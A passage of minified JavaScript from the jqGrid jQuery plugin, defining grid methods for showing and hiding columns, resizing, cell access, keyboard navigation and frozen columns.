td",r.grid.hrDiv).eq(e+o).html(t).attr(i),u=!0):"get"===a&&(g[p]=l?$e.unformat.call(r,$e("tr.hrheadrow td",r.grid.hrDiv).eq(e+o),{colModel:r.p.colModel[e]},e):$e("tr.hrheadrow td",r.grid.hrDiv).eq(e+o).html())}),"remove"===a&&($e(r.grid.hrDiv).remove(),r.grid.hrDiv=null,r.p.headerrow=!1),void(n&&$e(r).jqGrid("setFrozenColumns"))))}),"get"===a||"getlength"===a?g:u},showHideCol:function(d,c){return this.each(function(){var t,i=this,r=!1,o=$e.jgrid.cell_width?0:i.p.cellLayout,e=!1;if(i.grid){"string"==typeof d&&(d=[d]);var n=""===(c="none"!==c?"":"none"),a=null,s=$e(i).jqGrid("isGroupHeaderOn");if(i.p.frozenColumns&&($e(i).jqGrid("destroyFrozenColumns"),e=!0),s&&($e(i).jqGrid("destroyGroupHeader",!1),a=$e.extend([],i.p.groupHeader),i.p.groupHeader=null),i.p.colSpanHeader.length&&$e(i).jqGrid("destroyColSpanHeader",!1),$e(this.p.colModel).each(function(e){-1!==$e.inArray(this.name,d)&&this.hidden===n&&($e("tr[role=row]",i.grid.hDiv).each(function(){$e(this.cells[e]).css("display",c)}),$e(i.rows).each(function(){$e(this).hasClass("jqgroup")||$e(this.cells[e]).css("display",c)}),i.p.footerrow&&$e("tr.footrow td",i.grid.sDiv).eq(e).css("display",c),i.p.headerrow&&$e("tr.hrheadrow td",i.grid.hrDiv).eq(e).css("display",c),t=parseInt(this.width,10),"none"===c?i.p.tblwidth-=t+o:i.p.tblwidth+=t+o,this.hidden=!n,r=!0,$e(i).triggerHandler("jqGridShowHideCol",[n,this.name,e]))}),!0===r&&(!0!==i.p.shrinkToFit||isNaN(i.p.height)||(i.p.tblwidth+=parseInt(i.p.scrollOffset,10)),$e(i).jqGrid("setGridWidth",!0===i.p.shrinkToFit?i.p.tblwidth-(isNaN(i.p.height)?0:parseInt(i.p.scrollOffset,10)):i.p.width)),s&&a)for(var l=0;l<a.length;l++)$e(i).jqGrid("setGroupHeaders",a[l]);i.p.colSpanHeader.length&&$e(i).jqGrid("setColSpanHeader",i.p.colSpanHeader),e&&$e(i).jqGrid("setFrozenColumns")}})},hideCol:function(e){return this.each(function(){$e(this).jqGrid("showHideCol",e,"none")})},showCol:function(e){return this.each(function(){$e(this).jqGrid("showHideCol",e,"")})},hideSearchCol:function(t){return this.each(function(){try{var e=this.p._avc.indexOf(t);-1<e&&(this.p._avc.splice(e,1),this.p._fthc.push(t),$e(this).jqGrid("showHideCol",t,"none"))}catch(e){}})},showSearchCol:function(t){return this.each(function(){try{var e=this.p._fthc.indexOf(t);-1<e&&(this.p._fthc.splice(e,1),this.p._avc.push(t),$e(this).jqGrid("showHideCol",t,""))}catch(e){}})},remapColumns:function(r,e,t){function i(t){var i=t.length?$e.makeArray(t):$e.extend({},t);$e.each(r,function(e){t[e]=i[this]})}var o=this.get(0);function n(e,t){$e(">tr"+(t||""),e).each(function(){var t=this,i=$e.makeArray(t.cells);$e.each(r,function(){var e=i[this];e&&t.appendChild(e)})})}i(o.p.colModel),i(o.p.colNames),i(o.grid.headers),n($e(o.grid.hDiv).find("thead").first(),t&&":not(.ui-jqgrid-labels)"),e&&n($e("#"+$e.jgrid.jqID(o.p.id)+" tbody").first(),".jqgfirstrow, tr.jqgrow, tr.jqfoot, tr.jqgroup"),o.p.footerrow&&n($e(o.grid.sDiv).find("tbody").first()),o.p.headerrow&&n($e(o.grid.hrDiv).find("tbody").first()),o.p.remapColumns&&(o.p.remapColumns.length?i(o.p.remapColumns):o.p.remapColumns=$e.makeArray(r)),o.p.lastsort=$e.inArray(o.p.lastsort,r),o.p.treeGrid&&(o.p.expColInd=$e.inArray(o.p.expColInd,r)),$e(o).triggerHandler("jqGridRemapColumns",[r,e,t])},setGridWidth:function(v,w,b){return this.each(function(){if(this.grid){var e,t,i=this,r=!1,o=0,n=$e.jgrid.cell_width?0:i.p.cellLayout,a=0,s=!1,l=i.p.scrollOffset,d=0,c=-1!==i.p.styleUI.search("Bootstrap")?2:0;if("boolean"!=typeof w&&(w=i.p.shrinkToFit),"boolean"!=typeof b&&(b=!0),!isNaN(v)&&!((v=parseInt(v,10))<i.p.minGridWidth||v>i.p.maxGridWidth)){if(i.grid.width=i.p.width=v,$e("#gbox_"+$e.jgrid.jqID(i.p.id)).css("width",v+"px"),$e("#gview_"+$e.jgrid.jqID(i.p.id)).css("width",v+"px"),$e(i.grid.bDiv).css("width",v-c+"px"),$e(i.grid.hDiv).css("width",v-c+"px"),i.p.pager&&$e(i.p.pager).css("width",v-c+"px"),i.p.toppager&&$e(i.p.toppager).css("width",v-c+"px"),!0===i.p.toolbar[0]&&($e(i.grid.uDiv).css("width",v-c+"px"),"both"===i.p.toolbar[1])&&$e(i.grid.ubDiv).css("width",v-c+"px"),i.p.footerrow&&$e(i.grid.sDiv).css("width",v-c+"px"),i.p.headerrow&&$e(i.grid.hrDiv).css("width",v-c+"px"),(e=$e(i).jqGrid("isGroupHeaderOn"))&&$e(i).jqGrid("destroyGroupHeader",!1),i.p.frozenColumns&&b&&($e(i).jqGrid("destroyFrozenColumns"),r=!0),!1===w&&!0===i.p.forceFit&&(i.p.forceFit=!1),!0===w){if($e.each(i.p.colModel,function(){!1===this.hidden&&(h=this.widthOrg,o+=h+n,this.fixed?d+=h+n:a++)}),0===a)return;i.p.tblwidth=o;var p=v-n*a-d,u=$e("#norecs","#"+$e.jgrid.jqID(i.p.id)).eq(0),g=(isNaN(i.p.height)||($e(i.grid.bDiv)[0].clientHeight<=$e(i.grid.bDiv)[0].scrollHeight||i.rows.length===u.length+1||"scroll"===$e(i.grid.bDiv).css("overflow-y"))&&(s=!0,p-=l),(o=0)<i.grid.cols.length);if($e.each(i.p.colModel,function(e){!1!==this.hidden||this.fixed||(h=this.widthOrg,(h=Math.round(p*h/(i.p.tblwidth-n*a-d)))<0)||(this.width=h,o+=h,i.grid.headers[e].width=h,i.grid.headers[e].el.style.width=h+"px",i.p.footerrow&&(i.grid.footers[e].style.width=h+"px"),i.p.headerrow&&(i.grid.hrheaders[e].style.width=h+"px"),g&&(i.grid.cols[e].style.width=h+"px"),t=e)}),!t)return;u=0,s?v-d-(o+n*a)!==l&&(u=v-d-(o+n*a)-l):0!==Math.abs(v-d-(o+n*a))&&(u=v-d-(o+n*a)-c),i.p.colModel[t].width+=u,i.p.tblwidth=o+u+n*a+d,i.p.tblwidth>v?(s=i.p.tblwidth-parseInt(v,10),i.p.tblwidth=v,h=i.p.colModel[t].width=i.p.colModel[t].width-s):i.p.tblwidth===v?(h=i.p.colModel[t].width=i.p.colModel[t].width-c,i.p.tblwidth=v-c):h=i.p.colModel[t].width;var l=$e(i.grid.bDiv)[0].scrollWidth>$e(i.grid.bDiv).width()&&0!=c?-1:0,h=i.p.colModel[t].width+=l;i.grid.headers[t].width=h,i.grid.headers[t].el.style.width=h+"px",g&&(i.grid.cols[t].style.width=h+"px"),i.p.footerrow&&(i.grid.footers[t].style.width=h+"px"),i.p.headerrow&&(i.grid.hrheaders[t].style.width=h+"px")}if($e(i.grid.bDiv).find("table").first().css("width",i.p.tblwidth+"px"),$e(i.grid.hDiv).find("table").first().css("width",i.p.tblwidth+"px"),i.grid.hDiv.scrollLeft=i.grid.bDiv.scrollLeft,i.p.footerrow&&$e(i.grid.sDiv).find("table").first().css("width",i.p.tblwidth+"px"),i.p.headerrow&&$e(i.grid.hrDiv).find("table").first().css("width",i.p.tblwidth+"px"),e){var f=$e.extend([],i.p.groupHeader);i.p.groupHeader=null;for(var m=0;m<f.length;m++)$e(i).jqGrid("setGroupHeaders",f[m]);i.grid.hDiv.scrollLeft=i.grid.bDiv.scrollLeft}r&&$e(i).jqGrid("setFrozenColumns")}}})},setGridHeight:function(o,n,a){return this.each(function(){var e,t,i,r=this;r.grid&&(e=$e(r.grid.bDiv),t=$e(r.grid.hDiv).outerHeight(),"boolean"!=typeof a&&(a=!0),!(i=!1)===(n="boolean"!=typeof n?!1:n)&&(r.p.pager&&(t+=$e(r.p.pager).outerHeight()),r.p.toppager&&(t+=$e(r.p.toppager).outerHeight()),!0===r.p.toolbar[0]&&(t+=$e(r.grid.uDiv).outerHeight(),"both"===r.p.toolbar[1])&&(t+=$e(r.grid.ubDiv).outerHeight()),r.p.footerrow&&(t+=$e(r.grid.sDiv).outerHeight()),r.p.headerrow&&(t+=$e(r.grid.hrDiv).outerHeight()),r.p.caption&&(t+=$e(r.grid.cDiv).outerHeight()),t<o)&&(o-=t),r.p.frozenColumns&&a&&($e(r).jqGrid("destroyFrozenColumns"),i=!0),e.css({height:o+(isNaN(o)?"":"px")}),r.p.height=o,i&&$e(r).jqGrid("setFrozenColumns"),r.p.scroll)&&r.grid.populateVisible()})},maxGridHeight:function(r,o,n){return this.each(function(){var e,t,i=this;i.grid&&(void 0===n&&(n=25),e=$e(i.grid.bDiv),"set"!==r||isNaN(o)?"remove"===r&&(t=["100%","auto"].includes(i.p.height)&&$e(i.grid.bDiv).height()<$e(i).height(),e.css("max-height",""),t)&&$e("#"+$e.jgrid.jqID(i.p.id)).jqGrid("setGridWidth",i.p.width-i.p.scrollOffset+2,!1,!1):(o=parseFloat(o))>parseFloat(n)&&(e.css("max-height",o),["100%","auto"].includes(i.p.height))&&$e(i.grid.bDiv).height()<$e(i).height()&&$e("#"+$e.jgrid.jqID(i.p.id)).jqGrid("setGridWidth",i.p.width+i.p.scrollOffset-2,!1,!1))})},setCaption:function(t){return this.each(function(){var e=$e(this).jqGrid("getStyleUI",this.p.styleUI+".common","cornertop",!0);this.p.caption=t,$e(".ui-jqgrid-title, .ui-jqgrid-title-rtl",this.grid.cDiv).html(t),$e(this.grid.cDiv).show(),$e(this.grid.hDiv).removeClass(e)})},setLabel:function(n,a,s,l){return this.each(function(){var e=this,t=-1;if(e.grid&&!$e.jgrid.isNull(n)&&0<=(t=isNaN(n)?$e.jgrid.getElemByAttrVal(e.p.colModel,"name",n,!0):parseInt(n,10))){var i=$e("tr.ui-jqgrid-labels th",e.grid.hDiv).eq(t);if(a){var r=$e(".s-ico",i),o=$e(".colmenu",i);try{$e("[id^=jqgh_]",i).empty().html(a).append(r).append(o)}catch(e){}e.p.colNames[t]=a,e.p.frozenColumns&&(i=$e("tr.ui-jqgrid-labels th",e.grid.fhDiv).eq(t),r=$e(".s-ico",i),$e("[id^=jqgh_]",i).empty().html(a).append(r))}s&&("string"==typeof s?$e(i).addClass(s):$e(i).css(s)),"object"==typeof l&&$e(i).attr(l);o=e.p.colModel[t];o.autosize_headers&&(r=$e.jgrid.getFont(i[0]),o.canvas_width=$e.jgrid.getTextWidth($e("div",i)[0].outerText,r)+(o.colmenu?$e.jgrid.floatNum($e(".colmenuspan",i).parent().width()):0)+$e.jgrid.floatNum($e("div",i).css("padding-left"))+$e.jgrid.floatNum($e("div",i).css("padding-right"))+$e.jgrid.floatNum($e(".ui-jqgrid-resize",i).width()))}})},setSortIcon:function(s,l){return this.each(function(){var e,t,i,r=this,o=-1,n=1;if(r.grid){$e.jgrid.isNull(l)?n=r.p.colNames.length:o=isNaN(l)?$e.jgrid.getElemByAttrVal(r.p.colModel,"name",l,!0):parseInt(l,10);for(var a=0;a<n;a++)0<=o&&(a=o),"cb"!==(e=r.p.colModel[a].name)&&"subgrid"!==e&&"rn"!==e&&"sc"===e&&(e=$e("tr.ui-jqgrid-labels th",r.grid.hDiv).eq(a),t=r.p.colNames[a],i=e.find(".s-ico"),"left"===s?e.find("div.ui-th-div").first().empty().addClass("ui-icon-left").append(i).append(t):"right"===s&&e.find("div.ui-th-div").first().empty().removeClass("ui-icon-left").append(t).append(i),r.p.frozenColumns)&&(e=$e("tr.ui-jqgrid-labels th",r.grid.fhDiv).eq(a),t=r.p.colNames[a],i=e.find(".s-ico"),"left"===s?e.find("div.ui-th-div").first().empty().addClass("ui-icon-left").append(i).append(t):"right"===s&&e.find("div.ui-th-div").first().empty().removeClass("ui-icon-left").append(t).append(i))}})},setCell:function(a,s,l,d,c,p){return this.each(function(){var e=this,t=-1;if(e.grid&&0<=(t=isNaN(s)?$e.jgrid.getElemByAttrVal(e.p.colModel,"name",s,!0):parseInt(s,10))&&(r=$e(e).jqGrid("getGridRowById",a))){var i,r,o={},n=e.p.colModel[t];try{i=r.cells[t]}catch(e){}i&&(""===l&&!0!==p||((o=$e(e).jqGrid("getRowData",a,"local"===e.p.datatype))[n.name]=l,r=e.formatter(a,l,t,o,"edit"),o=n.title?{title:$e.jgrid.stripHtml(r)}:{},(e.p.treeGrid&&e.p.ExpandColumn===n.name?$e("span",$e(i)):$e(i)).html(r).attr(o),"local"===e.p.datatype&&void 0!==(r=e.p._index[$e.jgrid.stripPref(e.p.idPrefix,a)])&&(e.p.data[r][n.name]=l)),"string"==typeof d?$e(i).addClass(d):d&&$e(i).css(d),"object"==typeof c&&$e(i).attr(c),e.p.frozenColumns)&&t<=e.p.frozenColCount&&(o=$e(i).clone(),$e("#"+a+" td","#"+$e.jgrid.jqID(e.p.id+"_frozen")).eq(t).replaceWith(o))}})},getCell:function(r,o,n){var a,s=!1;return"boolean"!=typeof n&&(n=!1),this.each(function(){var e,t=this,i=-1;if(t.grid&&0<=(i=isNaN(o)?$e.jgrid.getElemByAttrVal(t.p.colModel,"name",o,!0):parseInt(o,10))&&(e=$e(t).jqGrid("getGridRowById",r)))if(a=$e("td",e).eq(i),n)s=a;else{try{s=$e.unformat.call(t,a,{rowId:e.id,colModel:t.p.colModel[i]},i)}catch(e){s=$e.jgrid.htmlDecode(a.html())}t.p.treeGrid&&s&&t.p.ExpandColumn===o&&(s=$e("<div>"+s+"</div>").find("span").first().html())}}),s},getCol:function(a,s,l){var d,c,p,u,g=[],h=0,f=("boolean"!=typeof s&&(s=!1),void 0===l&&(l=!1),$e.jgrid.getFont(this[0]));return this.each(function(){var t=this,i=-1,e=t.p.colModel;if(t.grid&&0<=(i=isNaN(a)?$e.jgrid.getElemByAttrVal(t.p.colModel,"name",a,!0):parseInt(a,10))){var r=t.rows.length,o=0,n=0;if(r&&0<r){for(;o<r;o++)if($e(t.rows[o]).hasClass("jqgrow")&&"norecs"!==t.rows[o].id)if("maxwidth"===l)void 0===p&&(p=e[i].autosize_headers?e[i].canvas_width:0),p=Math.max($e.jgrid.getTextWidth(t.rows[o].cells[i].outerText,f),p);else{try{d=$e.unformat.call(t,$e(t.rows[o].cells[i]),{rowId:t.rows[o].id,colModel:t.p.colModel[i]},i)}catch(e){d=$e.jgrid.htmlDecode(t.rows[o].cells[i].innerHTML)}l?(u=$e.jgrid.floatNum(d),h+=u,void 0===p&&(p=c=u),c=Math.min(c,u),p=Math.max(p,u),n++):s?g.push({id:t.rows[o].id,value:d}):g.push(d)}if(l)switch(l.toLowerCase()){case"sum":g=h;break;case"avg":g=h/n;break;case"count":g=n;break;case"min":g=c;break;case"max":case"maxwidth":g=p}}}}),g},clearGridData:function(i,r){return this.each(function(){var e,t=this;t.grid&&("boolean"!=typeof i&&(i=!1),"boolean"!=typeof r&&(r=!1),t.p.deepempty?$e("#"+$e.jgrid.jqID(t.p.id)+" tbody").first().find("tr").slice(1).remove():(e=$e("#"+$e.jgrid.jqID(t.p.id)+" tbody").first().find("tr").first()[0],$e("#"+$e.jgrid.jqID(t.p.id)+" tbody").first().empty().append(e)),t.p.footerrow&&i&&$e(".ui-jqgrid-ftable td",t.grid.sDiv).html(" "),t.p.headerrow&&r&&$e(".ui-jqgrid-hrtable td",t.grid.hrDiv).html(" "),t.p.selrow=null,t.p.selarrrow=[],t.p.savedRow=[],t.p.records=0,t.p.page=1,t.p.lastpage=0,t.p.reccount=0,t.p.data=[],t.p._index={},t.p.groupingView._locgr=!1,t.updatepager(!0,!1))})},getInd:function(e,t){var i,r=!1;return this.each(function(){(i=$e(this).jqGrid("getGridRowById",e))&&(r=!0===t?i:i.rowIndex)}),r},bindKeys:function(e){var l=$e.extend({onEnter:null,onSpace:null,onLeftKey:null,onRightKey:null,onSelectRow:!0,scrollingRows:!0},e||{});return this.each(function(){var s=this;$e("body").is("[role]")||$e("body").attr("role","application"),s.p.scrollrows=l.scrollingRows,$e(s).on("keydown",function(e){var t,i,r=$e(s).find("tr[tabindex=0]")[0],o=s.p.treeReader.expanded_field;if(r){var n=s.p.selrow,a=s.p._index[$e.jgrid.stripPref(s.p.idPrefix,r.id)];if(37===e.keyCode||38===e.keyCode||39===e.keyCode||40===e.keyCode){if(38===e.keyCode){if(t="",(i=r.previousSibling)&&$e(i).hasClass("jqgrow")){if($e(i).is(":hidden")){for(;i;)if(i=i.previousSibling,!$e(i).is(":hidden")&&$e(i).hasClass("jqgrow")){t=i.id;break}}else t=i.id;$e(s).jqGrid("setSelection",t,l.onSelectRow,e)}$e(s).triggerHandler("jqGridKeyUp",[t,n,e]),$e.jgrid.isFunction(l.onUpKey)&&l.onUpKey.call(s,t,n,e),e.preventDefault()}if(40===e.keyCode){if(t="",(i=r.nextSibling)&&$e(i).hasClass("jqgrow")){if($e(i).is(":hidden")){for(;i;)if(i=i.nextSibling,!$e(i).is(":hidden")&&$e(i).hasClass("jqgrow")){t=i.id;break}}else t=i.id;$e(s).jqGrid("setSelection",t,l.onSelectRow,e)}$e(s).triggerHandler("jqGridKeyDown",[t,n,e]),$e.jgrid.isFunction(l.onDownKey)&&l.onDownKey.call(s,t,n,e),e.preventDefault()}37===e.keyCode&&(s.p.treeGrid&&s.p.data[a][o]&&$e(r).find("div.treeclick").trigger("click"),$e(s).triggerHandler("jqGridKeyLeft",[s.p.selrow,e]),$e.jgrid.isFunction(l.onLeftKey))&&l.onLeftKey.call(s,s.p.selrow,e),39===e.keyCode&&(s.p.treeGrid&&!s.p.data[a][o]&&$e(r).find("div.treeclick").trigger("click"),$e(s).triggerHandler("jqGridKeyRight",[s.p.selrow,e]),$e.jgrid.isFunction(l.onRightKey))&&l.onRightKey.call(s,s.p.selrow,e)}else 13===e.keyCode?(e.preventDefault(),$e(s).triggerHandler("jqGridKeyEnter",[s.p.selrow,e]),$e.jgrid.isFunction(l.onEnter)&&l.onEnter.call(s,s.p.selrow,e)):32===e.keyCode&&($e(s).triggerHandler("jqGridKeySpace",[s.p.selrow,e]),$e.jgrid.isFunction(l.onSpace))&&l.onSpace.call(s,s.p.selrow,e)}}).on("click",function(e){$e(e.target).is("input, textarea, select")||$e(e.target,s.rows).closest("tr.jqgrow").focus()})})},unbindKeys:function(){return this.each(function(){$e(this).off("keydown")})},getLocalRow:function(e){var t,i=!1;return this.each(function(){void 0!==e&&0<=(t=this.p._index[$e.jgrid.stripPref(this.p.idPrefix,e)])&&(i=this.p.data[t])}),i},progressBar:function(o){return o=$e.extend({htmlcontent:"",method:"hide",loadtype:"disable"},o||{}),this.each(function(){var e,t="show"===o.method,i=$e("#load_"+$e.jgrid.jqID(this.p.id)),r=$e(window).scrollTop();switch(""!==o.htmlcontent&&i.html(o.htmlcontent),o.loadtype){case"disable":break;case"enable":i.toggle(t);break;case"block":$e("#lui_"+$e.jgrid.jqID(this.p.id)).css(t?{top:0,left:0,height:$e("#gbox_"+$e.jgrid.jqID(this.p.id)).height(),width:$e("#gbox_"+$e.jgrid.jqID(this.p.id)).width(),"z-index":1e4,position:"absolute"}:{}).toggle(t),i.toggle(t)}i.is(":visible")&&(e=i.offsetParent(),i.css("top",""),i.offset().top<r)&&(r=Math.min(10+r-e.offset().top,e.height()-i.height()),i.css("top",r+"px"))})},getColProp:function(e){var t=this[0];return!!t.grid&&$e.jgrid.getElemByAttrVal(t.p.colModel,"name",e,!1)},setColProp:function(t,i){return this.each(function(){var e;this.grid&&$e.isPlainObject(i)&&0<=(e=$e.jgrid.getElemByAttrVal(this.p.colModel,"name",t,!0))&&$e.extend(!0,this.p.colModel[e],i)})},sortGrid:function(n,a,s){return this.each(function(){var e,t,i=this,r=-1,o=!1;if(i.grid){for(n=n||i.p.sortname,e=0;e<i.p.colModel.length;e++)if(i.p.colModel[e].index===n||i.p.colModel[e].name===n){r=e,!0===i.p.frozenColumns&&!0===i.p.colModel[e].frozen&&(o=i.grid.fhDiv.find("#"+i.p.id+"_"+n));break}-1!==r&&(t=i.p.colModel[r].sortable,o=o||i.grid.headers[r].el,"boolean"!=typeof a&&(a=!1),t="boolean"!=typeof t||t)&&i.sortData("jqgh_"+i.p.id+"_"+n,r,a,s,o)}})},setGridState:function(r){return this.each(function(){var e,t,i;this.grid&&(t=$e(e=this).jqGrid("getStyleUI",this.p.styleUI+".base","icon_caption_open",!0),i=$e(this).jqGrid("getStyleUI",this.p.styleUI+".base","icon_caption_close",!0),"hidden"===r?($e(".ui-jqgrid-bdiv, .ui-jqgrid-hdiv","#gview_"+$e.jgrid.jqID(e.p.id)).slideUp("fast"),e.p.pager&&$e(e.p.pager).slideUp("fast"),e.p.toppager&&$e(e.p.toppager).slideUp("fast"),!0===e.p.toolbar[0]&&("both"===e.p.toolbar[1]&&$e(e.grid.ubDiv).slideUp("fast"),$e(e.grid.uDiv).slideUp("fast")),e.p.footerrow&&$e(".ui-jqgrid-sdiv","#gbox_"+$e.jgrid.jqID(e.p.id)).slideUp("fast"),e.p.headerrow&&$e(".ui-jqgrid-hrdiv","#gbox_"+$e.jgrid.jqID(e.p.id)).slideUp("fast"),$e(".ui-jqgrid-headlink",e.grid.cDiv).removeClass(t).addClass(i),e.p.gridstate="hidden"):"visible"===r&&($e(".ui-jqgrid-hdiv, .ui-jqgrid-bdiv","#gview_"+$e.jgrid.jqID(e.p.id)).slideDown("fast"),e.p.pager&&$e(e.p.pager).slideDown("fast"),e.p.toppager&&$e(e.p.toppager).slideDown("fast"),!0===e.p.toolbar[0]&&("both"===e.p.toolbar[1]&&$e(e.grid.ubDiv).slideDown("fast"),$e(e.grid.uDiv).slideDown("fast")),e.p.footerrow&&$e(".ui-jqgrid-sdiv","#gbox_"+$e.jgrid.jqID(e.p.id)).slideDown("fast"),e.p.headerrow&&$e(".ui-jqgrid-hrdiv","#gbox_"+$e.jgrid.jqID(e.p.id)).slideDown("fast"),$e(".ui-jqgrid-headlink",e.grid.cDiv).removeClass(i).addClass(t),e.p.gridstate="visible"))})},setFrozenColumns:function(){return this.each(function(){if(this.grid){var e,t,i,r,o,n,a,s=this,l=s.p.colModel,d=0,c=l.length,p=$e(s).jqGrid("getStyleUI",s.p.styleUI+".base","headerDiv",!0,"ui-jqgrid-hdiv"),u=$e(s).jqGrid("getStyleUI",s.p.styleUI+".common","hover",!0),g="border-box"===$e("#gbox_"+$e.jgrid.jqID(s.p.id)).css("box-sizing")?1:0;if(!0!==s.p.subGrid&&!0!==s.p.treeGrid&&!0!==s.p.cellEdit&&!s.p.scroll&&!s.p.frozenColumns){for(s.p.frozenColCount=-1;d<c&&!0===l[d].frozen;)s.p.frozenColCount=d,d++;0<=s.p.frozenColCount&&(n=$e(".ui-jqgrid-hdiv","#gview_"+$e.jgrid.jqID(s.p.id)).height(),e=$e(".ui-jqgrid-bdiv","#gview_"+$e.jgrid.jqID(s.p.id)).position(),t=$e(".ui-jqgrid-hdiv","#gview_"+$e.jgrid.jqID(s.p.id)).position(),s.grid.fhDiv=$e('<div style="position:absolute;'+("rtl"===s.p.direction?"right:0px;":"left:0px;")+"top:"+t.top+"px;height:"+(n-g)+'px;" class="frozen-div '+p+'"></div>'),s.grid.fbDiv=$e('<div style="position:absolute;'+("rtl"===s.p.direction?"right:0px;":"left:0px;")+"top:"+e.top+'px;overflow-y:hidden" class="frozen-bdiv ui-jqgrid-bdiv"></div>'),$e("#gview_"+$e.jgrid.jqID(s.p.id)).append(s.grid.fhDiv),t=$e(".ui-jqgrid-htable","#gview_"+$e.jgrid.jqID(s.p.id)).clone(!0),$e(t).width(1),$e(s.grid.fhDiv).append(t),$e(s).jqGrid("isGroupHeaderOn")?($e("tr.jqg-third-row-header",s.grid.hDiv).height(),$e("tr.jqg-first-row-header, tr.jqg-third-row-header",t).each(function(){$e("th",this).slice(s.p.frozenColCount+1).remove()}),r=i=-1,$e("tr.jqg-second-row-header th",t).each(function(){if(o=parseInt($e(this).attr("colspan"),10),parseInt($e(this).attr("rowspan"),10)&&(i++,r++),o&&(i+=o,r++),i===s.p.frozenColCount)return r=s.p.frozenColCount,!1}),i!==s.p.frozenColCount&&(r=s.p.frozenColCount),$e("tr.jqg-second-row-header",t).each(function(){$e("th",this).slice(r+1).remove()}),n=$e("tr.jqg-second-row-header th",t).filter(function(){return"none"!==$e(this).css("display")}).first(),"object"===$e.jgrid.type(n)&&n.length&&"hidden"!==n.css("visibility")&&""===$e.jgrid.trim(n[0].outerText)&&n.html(" "),n=$e("tr.jqg-third-row-header th",t).filter(function(){return"none"!==$e(this).css("display")}).first(),"object"===$e.jgrid.type(n)&&n.length&&"hidden"!==n.css("visibility")&&""===$e.jgrid.trim(n[0].outerText)&&$e("div",n).prepend(" ")):(a=[],$e("#gview_"+$e.jgrid.jqID(s.p.id)+" .ui-jqgrid-htable > thead >tr").each(function(e,t){a.push(parseInt($e(this).height(),10))}),$e("thead >tr",t).each(function(){$e("th",this).slice(s.p.frozenColCount+1).remove()}),$e("thead >tr",t).each(function(e){0===e&&--a[e],$e(this).height(a[e])})),$e.jgrid.msie()||$e(t).css("height","100%"),$e(s.grid.fhDiv).mousemove(function(e){if(s.grid.resizing)return s.grid.dragMove(e),!1}),s.p.sortable&&$e.fn.sortable&&$e(s.grid.fhDiv).find("tr.ui-jqgrid-labels th").addClass("sortable-disabled"),s.p.headerrow&&(s.grid.fhrDiv=$e('<div style="position:absolute;'+("rtl"===s.p.direction?"right:0px;":"left:0px;")+'top:0px;" class="frozen-hrdiv ui-jqgrid-hrdiv "></div>'),$e("#gview_"+$e.jgrid.jqID(s.p.id)).append(s.grid.fhrDiv)),s.p.footerrow&&(s.grid.fsDiv=$e('<div style="position:absolute;'+("rtl"===s.p.direction?"right:0px;":"left:0px;")+'top:0px;" class="frozen-sdiv ui-jqgrid-sdiv"></div>'),$e("#gview_"+$e.jgrid.jqID(s.p.id)).append(s.grid.fsDiv)),$e("#gview_"+$e.jgrid.jqID(s.p.id)).append(s.grid.fbDiv),$e(s.grid.fbDiv).on("mousewheel DOMMouseScroll",function(e){s.grid.bDiv.scrollTop+="mousewheel"===e.type?-e.originalEvent.wheelDelta/10:6*e.originalEvent.detail}),!0===s.p.hoverrows&&$e("#"+$e.jgrid.jqID(s.p.id)).off("mouseover mouseout"),$e(s).on("jqGridAfterGridComplete.setFrozenColumns",function(){$e("#"+$e.jgrid.jqID(s.p.id)+"_frozen").remove(),$e(s.grid.fbDiv).height($e(s.grid.bDiv)[0].clientHeight);var e,r=[],t=($e("#"+$e.jgrid.jqID(s.p.id)+" tr[role=row].jqgrow").each(function(){r.push($e(this).height())}),$e("#"+$e.jgrid.jqID(s.p.id)).clone(!0));$e("tr[role=row]",t).each(function(){$e("td[role=gridcell]",this).slice(s.p.frozenColCount+1).remove()}),$e(t).width(1).attr("id",s.p.id+"_frozen"),$e(s.grid.fbDiv).append(t),$e("tr[role=row].jqgrow",t).each(function(e,t){var i;$e(this).height(r[e]),.3<=Math.abs($e(this).height()-r[e])&&(i=$e("td:visible",this).first()).height(r[e]-Math.round(parseFloat(i.css("border-bottom-width"))))}),s.rows[1]&&"norecs"===s.rows[1].id&&$e("#norecs td",t).html(""),$e(s.grid.fbDiv)[0].scrollTop=$e(s.grid.bDiv)[0].scrollTop,!0===s.p.hoverrows&&($e("tr.jqgrow",t).hover(function(){$e(this).addClass(u),$e("#"+$e.jgrid.jqID(this.id),"#"+$e.jgrid.jqID(s.p.id)).addClass(u)},function(){$e(this).removeClass(u),$e("#"+$e.jgrid.jqID(this.id),"#"+$e.jgrid.jqID(s.p.id)).removeClass(u)}),$e("tr.jqgrow","#"+$e.jgrid.jqID(s.p.id)).hover(function(){$e(this).addClass(u),$e("#"+$e.jgrid.jqID(this.id),"#"+$e.jgrid.jqID(s.p.id)+"_frozen").addClass(u)},function(){$e(this).removeClass(u),$e("#"+$e.jgrid.jqID(this.id),"#"+$e.jgrid.jqID(s.p.id)+"_frozen").removeClass(u)})),s.p.headerrow&&(t=$e(s.grid.hrDiv).position(),$e("table",s.grid.fhrDiv).remove(),e=$e(".ui-jqgrid-hrtable","#gview_"+$e.jgrid.jqID(s.p.id)).clone(!0),$e("tr",e).each(function(){$e("td",this).slice(s.p.frozenColCount+1).remove()}),$e(e).width(1),$e(s.grid.fhrDiv).css("top",t.top+"px").append(e)),s.p.footerrow&&(t=$e(s.grid.sDiv).position(),$e("table",s.grid.fsDiv).remove(),e=$e(".ui-jqgrid-ftable","#gview_"+$e.jgrid.jqID(s.p.id)).clone(!0),$e("tr",e).each(function(){$e("td",this).slice(s.p.frozenColCount+1).remove()}),$e(e).width(1),$e(s.grid.fsDiv).css("top",t.top+"px").append(e))}),s.grid.hDiv.loading||$e(s).triggerHandler("jqGridAfterGridComplete.setFrozenColumns"),s.p.frozenColumns=!0,$e(s).triggerHandler("onFrozenColumnsCall"))}}})},destroyFrozenColumns:function(){return this.each(function(){var 